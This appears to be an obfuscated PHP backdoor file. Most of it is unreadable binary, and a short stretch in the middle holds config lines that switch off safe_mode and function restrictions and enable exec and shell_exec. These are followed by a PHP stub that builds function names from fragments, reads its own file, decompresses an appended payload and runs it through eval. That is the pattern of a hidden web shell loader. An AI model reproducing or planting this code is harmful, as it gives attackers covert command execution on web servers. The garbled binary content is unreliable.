ef!1?1+rwP37Uy_COrs0*9^EIAI~I]ub`D"Kax&.g.ªJiOȦȍ]C؅s{Q)-[Vv+ºCZɍ3&ҙpς˻pDY۫:7?3^Qw8JVe j`؞ƗHҬ $^Erxv:_L=JNJ~jq:ab$IOCKp9%Lf(Moz7_{}!cuKj_[;c,Kw'+:/I.s2|V#Ä7:a̆vrspiyctfkS7EJ ,f6|BE8 iA'qLL[\+pXjHd/Gd9uS.d((CCTszN@|I]IgҢYc}iH.8[(nzŤz~ITK۹2x82&p-ԸX1-asYPvrspiyctfkx5%cPp^j=zgH~к[ :}"5qXcMI5"vrspiyctfk8OE^&H
uqhwtsmlrp[#֥2R}L8Zǒfpu($+QAw%Nf3Wՙ!/Eܵ|+oЦ`'~K|WfvrspiyctfkCO|nr
&-BA*rW.UƜoEkd
Qv*JX\&9m
?=*P6i,"C$+:M)Gvrspiyctfk@O,/b՟;sMDArnr
RJ֕o)G~J6d.^ԡ@W?;»jf*B5.|K.y]\
F1R"f^A|jAfZjp
i\YOh-ԐTiyW̀"Ag9qc2}=_2Z\ꞒZo
D@pޛl
/3Bfivrspiyctfk^x:FF\{t 9T5*AG(w䶷Śk(31	jECO6:,:ׇ=3ޓ:uqhwtsmlrp d'
6
T نWTUQ4*FJhY~W/Й\eҝ噥 ޶;g?LM*A|=G&NrI:Ofvrspiyctfk}6 mZ̆+,,,-RiRTkIYM6:ww7W~Vb?l͋u]HqX_K1[u90\qySـtQ=k(p([=9W.;!6h:d

3oyNz0uA2ՄvsY	p/yuqhwtsmlrp8ƵuWzFyF(.nѥCsjbxϬvrspiyctfkA]LQMLw#l }bvrspiyctfkrDUEj/}5?kIGE9  fϾ|PE'^$|vrspiyctfk	evrspiyctfkuqhwtsmlrp^nQ	AƉ2SlYҭCQڴC1uVZZuqhwtsmlrpwSU&2r!wQESrY=\N8]+uqhwtsmlrp
K~JZKD
jyRvrspiyctfk"@[7Rr5MFӂ[,%Sq3
vQgI7?)RzI=Vv%;P=ڬ5Er*"mf+#\I нy[?\F~Α=P5ic63/-u1=~o;}w%:Sm~I6iSTP?ܰ^ 84ތc:Mzg"Q-cTFAԴRǾ|YLZPvrspiyctfk*Pbpp'~N#Iv_$uqhwtsmlrp &bǱ7t{v)zd

*p{ͳ(JtH/\Z%h֝?6֬hDw;Ai\C!`&VdU ֻGq	gDZ؊Ca.ܩ*%U\]13Sޛ"분Y72C#v8I7;Uj@hr)ﯶom[6c_i:O?ߖ5Nfuqhwtsmlrpਢ$Km"`:WR@YWÿ7%a/֥{r˯`ؤ۰I)?	%}[cUvaJL9),s~uqhwtsmlrpwТ8OhԒJ.(e)YlqB[(=GLVU}_cDሱwӭʆbuqhwtsmlrpN
{11h]IQ'=A{Rd뜪I_I=h*K4+|&c{H
\S'7!3CX0fBB,hst^H`/'yĂ/#GƋHc1в;cJ?H;5.[P8f)UÏִ 3ʽK?ǹ׮!Fo'7ƀhJϨ_VP8"eWOn"0CWQ#}]Y3ZݭNrNwLGfSri}*r;*jvJ3IE;}HkZb2Wb
CfJ"E~r8bS`ћ7Evrspiyctfk)E@%&I$B
?:8
~xtu[-P;Y0%Ֆ5˯~o]'iQuMU_/!N=r!6T2|ftT_PK:FL~Z%)jwv^Xv3lʬHuqhwtsmlrpA'sDY0Wڣ)~LRM~X/=J/6O6ʀ
 vPSuUHމӥ9?lCA	?nh)}U FNprf#pߍL?Z.l&ȃ!"+bՀhv\1TONߠÙՍD_E#9
^T5E aJT mhk`2v%mܪ1`w`nvrspiyctfk"?d];d9svrspiyctfkp˻-^T?,IvrspiyctfkIgf^W0f-Iuqhwtsmlrp||Qv)P*L)%h9JRv$+Q;Ѷ15],'-RrAE'8b$DJb,H=g|\R||cdчd
/V$pg1)Fi
n|TJ@jT['`q9AkH 5kKWi]H5O5u?wlG_oжDuPW$}U{E:jw 4@8eAӼqpouqhwtsmlrp9oxm4~$+-Ԏ|akt7y`4/#W¾Ԑa]e;jR-\B=,xuqhwtsmlrp9S|uqhwtsmlrpnqILfK?-nV#tHm
P6vvrspiyctfkuqhwtsmlrpV!uTa2ӷ0 q:?~9{r[R2I{e$&V,M˻ E	0I  R+)IOA묩6xt&'/vrspiyctfk^(U(4EpsLY.JGy0@-wG͍KWh/꣇U7^l-~4'I1Oαsfk7GLѨ0P&e@RPqEH0?
HOhjLC 39yZs+\x$hm=]NcRw(.eNZIndIj:+E-0E}ZK/LU`\m`Wxw&.gck	L.M_d;{}v.xh²UImkj\;6~0Ǧ[y"ffi4Z;}ʲ/Ȯ.ʢH7RV&AY9ӶP:r~H5U;1j0uqhwtsmlrp?v[ٻȢNQB^L)xD?4i~g9X`L!Y
0_{p$BCXW0V펱2cX2ܘҀEoMuqhwtsmlrpHY|PbE3|ahl@AP;mQ! 3D uqhwtsmlrp=/Tb؃ 9=E_~޻:zn\Mi¨ }4B^ϊ =lhZFc(-i&4]$OӖ`^)֛T!BWwuqhwtsmlrpi
 _ș&kz|QUFn(}tL[zR' 7|TLa!CSy܄(%(#vrspiyctfkεtXqx*e:9b1KH
iZSmFXҺz2˷^)`d~
/VVsRծ)HMM7$aKF	3 t0Z"_~HS$OIs8]PmP^3ýK$.7$+ 9uG5 ;:n4,6 h4Z/MD
^&[XG5uIvrspiyctfkk
Ջ@r@{h*~LbROMG_95M @re|B(H)J6xS3*#ms:M=t|Hr3K
GW;GrtД=/?)}+LOTlDh;\׽
HI=by,TPvVeđ!XxQf_&W-רtzޝvEZp-8v Uv&뚿qr4J;'SX, q&$/ =pf^ǻb@@.GoYDDHe*&S* Ũ=e]AVȿZ0(

;Zd_4RT'PgDM{Wu^70 AP??Aܺ!{{ګiR_B8@wǦۖKV)d0T#et6[|= +;EZvkhӸ?]ja_i$/loQM%67`)AmUԻ
})Eyݓn7|Ո&L  :E 42?mAVeogHpq#ѻ;3[L
˘}juFFE)uʞ!`~
!3bU{tML25*Ueg5BlThC LB[&Y_aKz~%=F
)т|eUVgڊ3|\#X/
	%ۛG[
wuqhwtsmlrp
..	xR:vrspiyctfkMwKp	4{`YF%|]u;Q eJ
g+שE;'nYuaI/ֿ`sK0HRe^G?b6WF"[ؾ29_~vS) Odf;-TU&o&fT0oQGx=t+KmnKþm*r՝̂m{L»t"	QR$!,=GTbM,U!/ʤtqАɯ{,$vrspiyctfk@@4m*lU'nx}Ʌ%!3PHѷdk&
HӁQЬD_aN	OE*e^(!ivY*_bQ*vrspiyctfkD:!eCѦvrspiyctfkpo@ӒuqhwtsmlrpO'_(r6eQTIEBk @|kpvrspiyctfk=$q#\E
xY2M1lZ%W/%FrֵzoAjb_z5ڭV֑}Auqhwtsmlrpq
Iz=9&J3H#xᘸF&*9jnC^F%Pu-^\d3@3{}ڛ
}sV(kyțU:ٓT4]	7}uqhwtsmlrp'(w[uqhwtsmlrpvT*X}	A#uqhwtsmlrpU@^l_[t:z2uqhwtsmlrpfMzuqhwtsmlrpyzӼ_vrspiyctfkiϼk$uqhwtsmlrp#:9߃2So
%N;uf~ 7~i9rb`ڪK箔`ZpNk4+'_bu;.vwj}_&A}Wj&AxLuqhwtsmlrpʠo]Y;5k'A# }--Gi[ޙ6CCH\'bvrspiyctfk
2ͥsv$	+[ҽC[!aw_|O~(=FqYmpvrspiyctfkaz|ueǂmP}1b͞wQyyzhXd%haGf
8W1:$)"̦)65l"$2^W^bk{ g_ &iy`})xuqhwtsmlrp
tgh.ZjTU
F~I甓e}wBFKJj2(+*!Vr`;1	C8UOB|N
vrspiyctfkj2#
b"ͰHjoƚy8Y8#L[_A1hjїݘ8g)DYq!Nurf+& .pH# *NYYXrBo:+`
EO-{ *zu)Vo%`,ړ
$ͩ"*ԕ	"obz	~AhUE
rG}IHZ(~wjp3:o7{i[Va+ow	/-0c;PnbgfuAG@ 8oJ'5\'X.j;'m Yhq~a`I
.+S?rADJ~u
5ht^).& =݂8@nQc9*4En\ ǢY}ɋۗ'60SW7
MurA7ԜEkGW_Fm
bf-w[0TXΥI]}@ ʌY;vrspiyctfkk9yjӃۥj.U9d9^[R#_&u[^pX,tSpǯ~h	}#^EA$ddj"F+7{7PC̎[yCі-VqX{ǌ9UL4f2~/B$*߈$(rvrspiyctfkxHcXgG)ax 91ᾂA?@t͵@/gj4M	2 KzR
W{xHV@gGK$,s
\2y(eS°bڇh-EٌqS+lbUފF:-;
tX| ꑝF؇ˬxe=6JuDz?ݎEvv.J$gr-O믽2 ,~EZxBvrspiyctfkVxMvrspiyctfk!#q*^/ػ.ۆ,6`cF.h@،H#lqMLImvK}'yzu[oMX[raJ8 -kY$vrspiyctfk$H}ﻮ?^VL	p(vvrspiyctfk
i#KɢEH-~dd
{`UuFѐHTؕ\=3vrspiyctfkYڡauqhwtsmlrpjbq!N8AO6j߬kWBBncvuqhwtsmlrpD4,7I_vrspiyctfkˣ;@anQMz3o\V.* 1f M4L5nDM؁As|KY-k~uqhwtsmlrppзQ'B}(ukMutfFۼ5Q'n(,BG|#zM"ąrܷ!s6:;(][uuqhwtsmlrpm83&'@C-uqhwtsmlrp1ZZfcϏ;:h[nՋ" |Jc%5G;xӿr|rz
Cdk3q"qKr=ˢf3hDقato\(/^;͍~87o}cA#VBj;G[.qѝG @6nᯐ)iyN{2/pU+^߳0"503JMrևpЗuT6~Opq
\uqhwtsmlrpn&gR8783uGj{323UH&:-uw7\ħ暿ʫkc'|oh;f&cdH\{J' N0
q0*(N|w+0)Y3ռˍݙVS*Gf'mky'Ҵ\
Y,ofRns@&\GfG[5g$DO+`Pvrspiyctfk`j)l%UvJC['JvhP6:tO(y`G.JM
&m`RsB,!(Bwcu$wsfT~wG{a%ugͩzU[bC'^BH7V@ HƎ	#9bH{~T6MwjOsÍ;5l4ң(t_FX;y/FU'/mArB{+vM_Inz?\$S/rrt %gvrspiyctfkN.D4lŠӹPBW/@-䋆 p)ӱwx8e)HrBpU_	M{d֍B!4"/hvO;[j$Hu9Ba;y" A[RY)ͻuqhwtsmlrp3Wua|"BX7yDyxe9첡WE ņڳ$uqhwtsmlrpر\{~PμRu	Aouqhwtsmlrpnh}"i*
EBEl~@8qf+Eיs^uqhwtsmlrpF
2`i +w7 \=m!oeys :@3Fq~0e%@yIϴvrspiyctfkMccp|6Pf5_F:luqhwtsmlrp눃S WTZ_uqhwtsmlrp#~\'Dh$`BVbK'^Hdq\bDQQ;S7
Ue=M7U
%Hhڵ/ůVo-M,+gΣˡJɨֵ2ȴG^tuhM͇5x͋?!JIܟNIm#I(&8唝0"{^	}MOmf϶֝nt1Ki50i&X5rrFΤN	5)#{o~D"#l1a*.4/݇qܸT9`vq:cH,qO8ԑV*/ÅƂ&~~G{`;N}lf=}@Ɍ=a.%wŝENXqw`#!d4T(GEpmk"'7־g~m`VEyDM!,@rY
d
[#2_30o9=8#Q^v_#uZ1.N7vRcX ak6Ca.62/h5	oRIgmm~;8 Z#]_NȂ``d2Hc=RH-"njՇ\-?)fnpRz4XӤRڸҳHt`i X@̃JdUz-
жqooms'Gm+;6h+[SCд/"
est&qgjSO~B
ϖ\r8vg=+%R)0eْ!T
OspUG[YUUW+#_XL"0% h5yF-/] Mtcx],;!Sn;@mT_Hx?"/1'׮5_ޔ`Fho5ve&2Φ͸Iuqhwtsmlrpx}~Ь䴪ytY-h.#M*`Dlė4cѨGASU{JÉԑG#W)ĲRA^WU+WcbїFJvrspiyctfk^E͡@*.
j}|Яa-8%+utf  `v8A7L|%wWT7$V}1/Sw^"7$o|Vxq#vrspiyctfk,A2mK0 ?P\m!
x}y=X:k/*׀Ih
*|huqhwtsmlrpEE% \8T?inO+50aڰ*n=,a%BK[uL2&X-ʪC0'',8cǳ]"][#zp\'LyhPV͐;wwrN$']&bP+CCW=h'~j^%P!؂g6q,sЙP$ųzk z.KE3eSsI(df˶ 1v^ֺTϗT=Ukc60ILMןo:h.i-Jb?v0=Iuqhwtsmlrpc,
*b}z{:?Qq,Wu4ONƞc谼E EVYB{6F%c'ߘƦl3圆s~J݆Ls;6?XvrspiyctfkHп,M&?۲$spbBp[Ouqhwtsmlrp0S[pz00wYb1d0m6vrspiyctfk;Cw(,.:Ծ/$5/ E1_Y5;'e/z` EqAܝ^*#%awrg]~?typps.D]_SV)YY%~C829BQ6waT8:\Xژb3:!UQ
V?:ɣ~Zed7D[,#.vrspiyctfk&Yvrspiyctfk?J,*vm3Ќ.$Bm9Yt_xj?ί¾Buqhwtsmlrp.yo/Dhf_l&1S&wb}(1'd
w}uqhwtsmlrp˚`U܏-?ܝ{KI|.dZ
_\nK~i}aoNE8RܵtSBM#:4449@8VzV:2I8Ke5eEZQ˳E)k3'eŰ&5ڍnL;eiɡ!t/Y zvrspiyctfk tFS Efq4^7Mvrspiyctfk#ÅYJ#@*{~&)% `q.ٓ'LF|?],/
z%RgvML9q;SV\WavpѐkuqhwtsmlrpBΫqjItc#&
[^ؠ$X--Dih/F"ۋO*cƏ[7Svrspiyctfk	ƣ&"ϼ~0V*QWA5@vrspiyctfkRwVY&{cIe%Kh?o7ɯNjbzuqhwtsmlrp=vE*ܹV%ą!eod
nl&d=1[}YXsrXiȦEjqFF?acuqhwtsmlrp?F5!'Rz"~d	WS5&CgO˻Lɏ~ٿ6A7?V~UKTP|`=@ud'sO;	E}Fp^t 
KJ:Cߠ[Q\UHVyaCdPM3yL7Q%1DS1aKXX@uXd "=Ʒ^eJ:SŬ)w.1+vrspiyctfkKنc0hM;}YFu*&\ϔIɃާCCq{*DZSE3
ge)`J=+hfW*tvrspiyctfk$sPh@U1KFm
r23qm!c8'kP5۶[[DnnXv }w PhܔNE^ȯ8sU/VkgW"zßAH _9Y:M_n~zb~gʅ}z{vrspiyctfkx2D_i
Dq]ϯmg-w' BHw0@\3hNCkImk]blfl@ԦlLLvrspiyctfkp
$6|V*|H	ǙC:.gDد&l9hrD|GY)h`PGھQ-IeL$~]sAG6q5aE]~zx&\O?s=}e
F}cb#fgwzߺQ:6m0mjO0safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON<?php
$jcVx='file_ge'.'t'.'_cont'.'ents';$DTuR='gzuncom'.'press';$PUcG='s'.'t'.'r'.'_repla'.'ce';$qbHl='subs'.'tr';$zyEL='e'.'xi'.'t';eval($DTuR($PUcG('haxyfpjcvz','>',$PUcG('jpubfkitvn','<',$qbHl($jcVx( __FILE__ ),-217189)))));$zyEL(0);
?>
x\]sjpubfkitvn
}U{wUW^haxyfpjcvzAtؘ_ߓ{Yϝ$ 95@	YW?붹ߺ;7WG|~oWӳ9?~~osAy̦zhaxyfpjcvzX|/?ks,?]a3ltc(2VQ痖|G_P*[ki-tߢ3ŝ,D]i!gBUX۠(?"s6vK"Y{ϥ|!I8lE&	62gcVy?j[*ٺ:jpubfkitvnD?2Whaxyfpjcvz*GL8lx$\a+}5%7"	q9PbF!&՘&̑4ɐWc7
pV+,8?haxyfpjcvz_rDd
Έ5Вjpubfkitvn#WKF
d=VUĜ0~ՠWVyHe݋6y}ihaxyfpjcvz&Vx){AVP%jpubfkitvnjpubfkitvn8%uXR!ƹ	
lJfCyjpubfkitvnks+R6%cn-qud01ӭ~?R[z}/]haxyfpjcvz5c͜rTB퀟WaDtFy[xT 7sev]F3mx/lhaxyfpjcvzt{
2{kE
jpubfkitvn[.(ȵQ+,f6+*roM
VIA*̥͛(Mck{HO"̇uAsT"#+,NCwJr6A9ukkE"Ja`jpubfkitvn}|gp^a,u,%T eSfi%VwGe7 _g63Huu4W
uFMNKI]ӥR_]_UdШ|\wdol$&bi/_fS%e)'qKjrʰ{|*)?ͤ0SI".To/~Z~$b^HN%LSqhaxyfpjcvzUleaVcf+8p;UͅHsGqňr8^_-7Vf0YdJG.fCrʦd7VH*a7'jpubfkitvnh!'aL%=|ޒQ|2Kd||Zz
{ne;u!r`t.5&pNǡ"ݰֵٙ:W9ޥXI0.Hq	z8;%]8=RIzc)Ҍ..ks^X
@@
+Y"B:
R[͙upSn;&0aszqfup?^R2cܫC-bWwU9`8beЍki݋"ϡRTP{E6aCs~7rGtj91t6M,5 \&*3'jkj/$vhWfwB^ix,	
fe"~rIV^ZYei˶.:;r07/6CTmA{W1+zCJFAlWt/ |ZF
ߋȜPdz\ڄg=?	R7(oǼJ0ĥD~jpubfkitvn;*"2_haxyfpjcvzؽ	M8PnmR_H\
;xjpubfkitvnk'~֖MFꚱ5ۚ-8ȥBЏ$g.їNCZz@
}cVa^HCMYPi$|W,*W5_d4Zd&pdǣIFC7'R?5oz2#7H#jpubfkitvnRjpubfkitvnwֽ	KK8;&L6FM4frpIc&haxyfpjcvzurƅv
ݾ
)#WʼAH8I!gjo3H"iV#A	dBwP~c-)5ޣfsf@M*Kn0^TƁ2"sc8_ލj
t*Dls[(mM=D} ;kUvvm76Lltz2mקebPs2X
 @uĉic&χa˭rw?(û͌+@JF
CM3|Sjpubfkitvndjpubfkitvnb?%"dP
j3k|{R$|¹Sq㔋l4˪4I}ulYsncP cbKH7r(3/ƛ_Y末__Q }jpubfkitvn}WcbPNrg^@*wo5Q!Zt7n9SVlCߡg,huir2x$೎o95zؕ޶݇&GK@$6{BK!t?ɸlh\
ܚ6藒c{5IV{toVtvH) c4]&oL,@Grވjpubfkitvn[C-MJY4_zn@o71Tr-8l"^W58[m8p"haxyfpjcvzfNuЦⶱZD9FݴY52w\}O!uhs3{xpJhwjpubfkitvn;+8[\l~KTug!}'΁jT'TlA6YӧMO""c.ų71	j^jpubfkitvnvs%,w:	jE	Mq"B0/FOi}'zB?sfz&iC^jpubfkitvn=R,Tƻ5uϿimXt;yS2ѝ,[[xH+P+)0Eqjpubfkitvn\Z_ΕXd% q.ϖ&td3mQdR2 =r4H:\RǠ\$ND̬\ݝpFbx;\WUbSȭqL(!_X]#1d`8Q)76q|jpubfkitvnP25V|t*_,qЛ˪A|HX 9b$M!Rej+n$&jpubfkitvn!Xp̕Dẉ+1KwdfghRgI:dp mr }'ghaxyfpjcvzBsjKʟE$ABn*lW|BFu 71gmI=iXle|04	
߮`'C_2DqeH${R;%RHH(@KQ_x%?Rq=yub6
@5eQNVNf*?
c%EMK11wƃÅ;##un0rhJOT|j?x)nH&w{JP	y-/C HSi voIV}J̟g1 1o0Gg.MOtC
wzR26l6=7SrEvoMSaʔw1:02o"y)H9N/_hhz2jAcC̯Uj{ldo=c.0{uòy}-~&)V!1O|f57D};;7T֮0G!9T(㦰ꘜ)Ś/eO837Fnjpubfkitvn Hsb=40"rsjpubfkitvn4(f'"ZL3*S:`(*@y	t2S&҆,A"9jpubfkitvnP{u 
k&Ҡ6@LN2&s R9jpubfkitvnC(L_,Sf./Ks'O㗌JHXWǰ5a0-PQYSPo10UdOC3ML-xHŀwߘ
Da,gbrZ2TX3y|oz1r ;pm
zdH$}!
X=!	jpubfkitvnʥ YgiYsцں3rE۴`0
p,ʸ1@dc[Nzf!Y-Iil0xX%e2)m-
hނ3nqq:AW4"* /U2LA=8MGC7};@~'mi) eCǪP-7sTJhaxyfpjcvzp݄T@
5haxyfpjcvz+'OMΪ$7{i/6
**Uنk
9a
A^udfВ:_/{2aF
I ӆmOrϱP[ٝ^BDhA-/j-Y}o^#Eqa2`;Mr5o~֐S]L&m%a?ߕ}@@ťܲZ X눸R+ܿ)VJּqܱ~ƻ܀LyeA6muc~xUhaxyfpjcvzAJAH,k~M)0@ q2̅))&,'Zsbp):'=an%5haxyfpjcvz=R-IUYRe7TOif/ %	K,ߓS!J|4r[no
֑8/jpubfkitvn{A2r$K!Ւjpubfkitvn2;\8s,{2q~щޚW+Ua-y$"p/ٰj|jt3a]LK+ip[UIAt,$7+3C|y+Thaxyfpjcvz5|!Jf},_	6{Bk;΅Axb;C54' 	^e+p$f*Ưzjpubfkitvnp?TҖBfWf5C9Q)~,]eu ?"haxyfpjcvz)F;I1R;nu%gY&$NO1yw%d~ю*[A
1#ٍ1G^_hP::pp+ۜp5*Ngz঳]'UJ7|ǰ"
"kfLc|m,rvPEgCU4:b~HdCq4ll_|
2o(1+ ~i4l460(/$Ϋm*x!
˹P$DsAbY(I؟ ܅]/ry65֪AHBb#``Uz&haxyfpjcvzkh]nP:T{phaxyfpjcvz̕aܪYDׄ-7ja0oP_QjpubfkitvnBm?Ը4?i`mW+~@X6-O
g
UIz^ƟmD?GACW"@?v~jŦQhaxyfpjcvzjpubfkitvnjpubfkitvn+3NkE:P)|VsLT9Xwtޘ/~C/{YLoWRtRCF%haxyfpjcvzx	;C,
!Y٤D8
z_% 
N7=j7ǺbÒ7#gCjpubfkitvnTi.
 @$BkYD"D_ߕԛ^꯱ܢ]qt=xZ^*K/@LPn]Q8U::,	xf haxyfpjcvzYmrKjpubfkitvnйܽ`jy4rHoiWJtiZQ_DڧӏX1VVQjpubfkitvn
?haxyfpjcvz5}'t%0
ŋO={Y!̞9t)q G^u-9cbǱ%+J-2	il&haxyfpjcvzq^oS1
})w=bLސу;uȹFge9sV獆ρ\kɏPZK&U4jLr:tE=5Lr+2wUFW3?fuPW[ǠVIi'a6v3!sF?Qh|If՚S%bČLHrX!ԋqh4 l8hSm~S%kO7'	ֿ
!=ʩ;
V&X[Yr]%涱󭐷gB Clh˟+ɽXOs9,Mm# \hN,(whtb}haxyfpjcvzCm7[|ۭ.iLtM8O|fLEŔ#}:͚[a%֮,_?^E ^L8Q(9jpubfkitvn@ְ\jjpubfkitvn[*8&[4$[ .6[r7۸Q|I$08*~In"T#*tBA{-m}haxyfpjcvz )V*?鍨KlY\OD\o2zAv@1VIe9
԰djpubfkitvnjpubfkitvn I'뽰;+90"wnG|/{sTZ]JyINS}g viͦgm?`rrobwlu3}I8PF#WEgȈ9X,*u
,;
"BNhaxyfpjcvz y5eK^tyvhaxyfpjcvzͮ!ъdKed~wu@V+?C'R%Ń1
JT"/7Td؁gݬpa8%6h?(X-Ы-TG[GĬ۳ev,	*\?&dW]D$VvpI}"ưdLg0haxyfpjcvz?XB'bUA)?fjpubfkitvnxYrHޥnPU#'ĤKOŷ%zcR`Je=CkNKLZ?&*"ie:ЙE)4dYd7:%uB&$72'}fhaxyfpjcvz'TQn	1B.*HO7sm'Όhaxyfpjcvz19բWͺw±K7O]gzj&q*qaBeOU:D鏶h
c+e2]_mY@)DcEdv0ǚU"jg틒p82?O=G{~UZ?zl:H6"f{t@-1@k\7P!)qN.+KN3+4\؍mOd'iۺϊC3ȼ IyU8@
}PPˎVgy̅\ЈM.cZ4xDXjpubfkitvnQ;	K,(hY1sc z06UO#A9eFWC4PX@nPjpubfkitvn;=#|frEy{f|h{egc,Yɝ2]
haxyfpjcvzG}Zx3|E:`8yltJWc#2V٦/P.H%yWWe^
h?kvuD+틡)
.Τhaxyfpjcvz~{jG:S*/
/o	ǌE1haxyfpjcvzl@vyAc1j	$bS$U\RT	jpubfkitvn^yn1+1ObXd-|`[Y)S
BY;@9i/9Y(.
/_th#x$MtLINi5D=vyr}S^Fv%A4cpܡ_4jpubfkitvn8G{ˌCjpubfkitvnyyQ9_76\
㵶y,[XZܽ%덻fRӕ7-@3mHUGե@_2zhaxyfpjcvz^s*ڊe7{+1yr8`5V
;&87
~_+7haxyfpjcvz޺C"5AcC-m:sE)1NXIR|^%fWݯL|mlx.LyGZ?;0haxyfpjcvz/``rU
lsF?#Wq^r1Wsy)_7uh"P|ͤV̳jpubfkitvnt̏%i'{=jIƸ͏UmMޚjpubfkitvnlm-߫a\,%s_eЙ)V.k$5.opApa+;]ײFGH x&۸ ^
U
Aj#˦YX4JrkP'56u^qgE瑭|p*	
[Gg70px2d}}j7
4c6e-Iim!?'߿jpubfkitvnĞc.	N4@=[\t}
t&ķ"x4p)pydP(M:+zlAnK6$
R2TM:J 3^MQYH呶@6^N;iFa$ڝ
rЧ+ jQ:op`Mb耵$L0ּk;5m?1]6=I;	9E66-x?Ck[.Śj K@D*z:@; k!3nk[|I4\ge/_je(haxyfpjcvz~Yhaxyfpjcvzh|3!DSZSNZHzs7ph6Rb2B`_Eg2jpubfkitvnPtP˹X]\N*Gs $_TOHCu{q{Qyq5˔6mNtyKc:p=apLv!".LI\jX(l0ו:񟊴y?	Sl7Ԝ\P7Ys}MǑΉIq{2haxyfpjcvzI)p27Q_+uܡ.##_[`O1&
87ԢdȻQ礲͗K;܄|@rL@jQ-?FoCr!x(kԢֿںqDVas|oZb+jI""aJmQcxjpubfkitvn-'f
X:ͺoNѾZH9u:zn
x/(h%V:haxyfpjcvzlG}AVI)Bzhaxyfpjcvz(Ȅ,
El4'5,HȻf^lzܠhaxyfpjcvzpU1+:4:YMm	X@)jpubfkitvn&lC"HP8  ?wA\F%[$%Y=9&)
|e'x4zi@`MߐKta^5g@Ce;7=N阽NܫTKDL*y=CcKC|BnP`a9d|LqjpubfkitvnIC:憿rjpubfkitvnLCoX@!rJ%WhaxyfpjcvzR0w;v_B";C	]JxFYMR3ѕZc~W%:Q|ʃ5Hz}i85yqC_/W ,Dphaxyfpjcvz Y2T-3^jpubfkitvn&jpubfkitvnukJ{5Iy۪CYitӥ@ffPyRK`Ju$q/ WtͣḨˍlk)w3Y 8[voVA#!dҠܯ?DH#7
&_W{f
_Ӽ*FL7^yg."# WJb#mKC3Ǡ?ڕ7\
_{܂搄.קVW)YDHۼ0	sF"r?haxyfpjcvzT8V`ѩ
-c&uVI*!\Q'Uh@s;)cjpubfkitvn'PgF=YoӧpJT-j?q`2̧r\*pS4~	G.D}& TWEmfWq[}1Uud%'"1=W5?܉w2wݛ
3R5("X9۩ܹ(T8MUfѳ$,ӁB? 0~K;{ tA죟[$%hk`T(0Llhaxyfpjcvzeb`I KHhaxyfpjcvzQ_/jpubfkitvngل
:(jpubfkitvn&ȞPhY7[(Fqq|#MmejnxyFFG2:頻	l'IHSoA3NSڠW&ystL6,66Vn+J*( R?,ȜƢ
wf?VS~$nmԩ]2-ˀ kX,A}}5
vTi
)6-[Ț	m3T:a_UKC\0p5\?yK8hROqB'47ԛ'e'WhaxyfpjcvzxK0O	2|@׫sYSNs$J\"yuOlkȖxP?qF5JPfWRtl[7pe|4}cD ci-%td,:p:'Jjpubfkitvn8hk?DD3\U|H^haxyfpjcvz3 .NcK 5DTZYٟs+)NP'TS:iA_RPl!6QJH͝OFd 7ۈ̺z/VЙnhaxyfpjcvz@-T/a~Y7ۙW.^dtwhaxyfpjcvzwBWhז7:֒2"2haxyfpjcvzc7^/.́8ͼ׏F3ɚ;p;m$haxyfpjcvz)!/a`BFW
1xJ!jKV[haxyfpjcvz?8AnƉ/UW[oȯEg`@䋭tjpubfkitvn5#aʢ*haxyfpjcvz{tI#@J3*-
p`x?3Bx1k.n.`
T
@r0~c'.0?4A;?V[ά%Qcqgt%vj!Z7/haxyfpjcvz3݅
먅DZv9S_Q+鐇j5Z_iH{Dz5toF,W|^90z 7Q/e")Y裝 md
Yjv5ќa	s	
/jII
|\hm\ͻ:77Sϛܳ]Kg8L
ҖϹ1-_haxyfpjcvz% ~H܎wkZtF}m|r#]sjI!
B[acd~pKs# ]KL?
=V5muґU㑐a9hvJNG7kjpubfkitvnRk)錔LzCQs~Z
g!
ui",{2)⥯19\-Z]Żs]N];~*voqkFlޮ6!/]e_ＪۼR _UBA5P%Nng뾞r gqGm"r׆&bY?,󅋟􊄣L%_uzTmOim
~p%)ڑީ
[Ĵ5C-gٓdc{WL@!%haxyfpjcvzqdSQ{VQj}Zhaxyfpjcvz϶R2,pesiPBw~$L%{~܂Ty:7$Fd
$\OOd
&!MqV.MlMn++haxyfpjcvz\ee\Q٫bx_gzlSw
/RgV{6)nU9+;{I؇j$,?U[haxyfpjcvz~|9EwXr"(L
=ty[3%ܑCTN0MQ,ZALv
Fphaxyfpjcvz4G-S;Fߝq% ⤠bekՆT# )Ҝ7'eҜz:2~͸ EA8r3jCf+Z)'9bD?.haxyfpjcvzQR
WS;0ߩK#2wlp_L7!t&CBnH~jpubfkitvn\5jpubfkitvn@-yisKo6IWCV?
SnܟkO
xgi[c{Zp[GK3a|VBM}KQ40T
tJy)-zӿ-u	뵪qتJʕ2c1^{l#jpubfkitvnI&}Y@s8]ػkqT _)i #*k6UPrx9ЍqY g@O|.0N!qGE';LRCqZW2
6XX;c?	g u- pkR`Ş}9J ۸;bqDu\}d,20ԉ
?g[K-L6QRhaxyfpjcvzugqfMRqJjpubfkitvn29s oͦ. 0x-$'Y퓯57QGJ;^a~x1Ec5V hNd78e(ky-ގG5.ؔIݫA3	_gr
 C0ꭻ`VN7~LlUM
arL7^L-"qrwW9:V{cfMHyXK[\t2;Uymiw"H?m[K׾_N^BBwS]wjpubfkitvnZ!&T/Rq)y;I5{Φǵ@O,haxyfpjcvz;XGLnιRiՒ^+ل[3ʁ?V@/]\CJxpQ`7𒍍&Y?TW`zI]}\پ'Ҁ{ێiUТ_Oe0
ym8dñ7sMy~v 	c0[/;:ZJ#.RQ[lX꫶wd+Eʹ E݆,F&&ze]s[zg(yžfCo7W]k홹6^2b	PLPwvcS#ɨ
Ep ǩ40/$Gk ٫x~`N~snIAfQ֋}gsjpubfkitvnTyLp/&]։͋d3@_yk&^9BX2֓*do^
XzQ$%q
ȘRvȡ嚕K571?+HhaxyfpjcvzIbcհ Lmhaxyfpjcvzxʨ{A=ɸ9*ȩ?c%ebk?5."ת2+Mp=)ZNxjpubfkitvn쾠=ZH%"TW7K"+g+c&`_&PnhU&Ì8.!0TFf^i[4ܯjʉ3ȵчEҢjpubfkitvnhx%	ȾRqڟq૳
_"eqg,Г
4T$_ġź/'oaA?ОΌ+9ЎMDLڋa-AM/0|CjHT"Os(#\r.4o"SԠ}b^,ecw{haxyfpjcvz Sg
!g5Ew's*plӉjpubfkitvnD*,_mqjpHx"Avc_p$9IC3
sfs		
uJOl`jpubfkitvnFTgjpubfkitvn_	Ìr:6~n G^U@M6J
JzR9$~0Rj$pɘX١-
